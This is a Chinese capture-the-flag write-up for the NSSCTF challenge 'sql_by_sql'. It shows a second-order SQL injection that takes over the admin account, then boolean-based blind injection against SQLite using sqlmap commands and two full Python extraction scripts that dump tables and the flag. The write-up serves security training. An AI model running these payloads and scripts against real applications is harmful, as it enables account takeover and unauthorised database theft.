[NSSRound#1 Basic]sql_by_sql - 二次注入+布尔盲注|sqlmap

进入注册界面后

假设sql：update user set password = '' where username = '' and password = ''

此时如果我们注册的用户名是admin'--+、admin'#、admin'--的话

update user set password = '123' where username = 'admin'#' and password = ''

1、所以先注册名为：admin'--+的用户，这样就可以直接修改admin密码，登录后，获取cookie

2、用户界面提供查询功能，但是只能查有或没有该用户，而且不会出现报错，说明是sqllite数据库

方法一：sqlmap

尝试利用sqlmap爆破，因为查询是在query层次，且是post，所以我们的sqlmap代码如下：
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ"

------如果这里的url写错了，是查不到的，而且cookie很重要，非admin的cookie无法进行查询

------查询结果

Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1 AND 1049=1049
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" --table
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" -T flag --columns
py sqlmap.py -u "http://node4.anna.nssctf.cn:28138/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZOvyaQ.m7kRbsLxlP5nQfHHxv4WpfnAePQ" -T flag -C flag --dump

得到flag=NSSCTF{b10c030d-ff18-43ce-b0a8-61cf26d9c070}

方法二：手动盲注+py脚本

用burpsuite抓包，判断id类型，使用id=1 or 1=1，如果是字符型则会提示不存在，但是这里明显可以执行，说明id是数字型

1、构造sql注入语句，由于sqllite数据库，sql的保留字会有所区别

2、SQLite中没有ascii()函数，所以我们盲注时需要直接和字符比较
1 and substr((select group_concat(name) from sqlite_master where type='table'),1,1)='a' ------ 查表名

......

脚本：

python 复制代码

import requests
from string import *
url="http://1.14.71.254:28287/query"
result=''
str=ascii_letters+digits+"{}-_"
for x in range(38,100):
    print("this is",x)
    for i in str:
        query="-1 or substr((select group_concat(name) from sqlite_master),{},1)>'{}'"
        #query="-1 or substr((select group_concat(sql) from sqlite_master where name='flag'),{},1)>'{}'"
        #query="-1 or substr((select flag from flag),{},1)='{}'"
        data={"id":query.format(x,i)}
        # print(data)
        res=requests.post(url=url,data=data)
        print(res.text)
        if "exist" in res.text:
            result+=i
            print(result)
            # flag=False
            break
print(result)

脚本2：

python 复制代码

import requests

true_result = 'exist'    #正确的回显
url = 'http://1.14.71.254:28033/query'

def table_name(url):
    table_name = ''
    select = "select name from sqlite_master where type='table' limit 1,1"
    for i in range(1, 60):
        tablelength_payload = f'''1 and length(({select}))={i}'''
        data = {'id':tablelength_payload}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("table length : "+str(i))
            for j in range(1, i + 1):
                print('[*]now in {}'.format(j))
                for asc in range(33, 127):
                    ss = chr(asc)
                    table_payload = f'''id=1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id':table_payload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        table_name = table_name + chr(asc)
                        print(table_name)
                        break
            break
def column_name(url):
    column_name = ''
    select = "select sql from sqlite_master where type='table' and name = 'flag'"
    for i in range(1, 100):
        columnlength_payload = f'''1 and length(({select}))={i}'''
        data = {'id':columnlength_payload}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("column length : "+str(i))
            for j in range(1, i + 1):
                print("[*]now in {}".format(j))
                for asc in range(33, 127):
                    ss = chr(asc)
                    column_payload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id': column_payload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        column_name = column_name + chr(asc)
                        print(column_name)
                        break
            break
def getflag(url):
    for i in range(1,60):
        flag = ''
        select = "select flag from flag limit 0,1"
        flaglength = f'''1 and length(({select}))={i}'''
        data = {'id': flaglength}
        response = requests.post(url=url, data=data)
        if true_result in response.text:
            print("flag length : "+str(i))
            for j in range(1, i+1):
                print("[*]now in {}".format(j))
                for asc in range(33,127):
                    ss = chr(asc)
                    flagpayload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
                    data2 = {'id': flagpayload}
                    res = requests.post(url=url, data=data2)
                    if true_result in res.text:
                        flag = flag+chr(asc)
                        print(flag)
                        break
            break
#table_name(url)
#column_name(url)
getflag(url)

[NSSRound#1 Basic]sql_by_sql - 二次注入+布尔盲注||sqlmap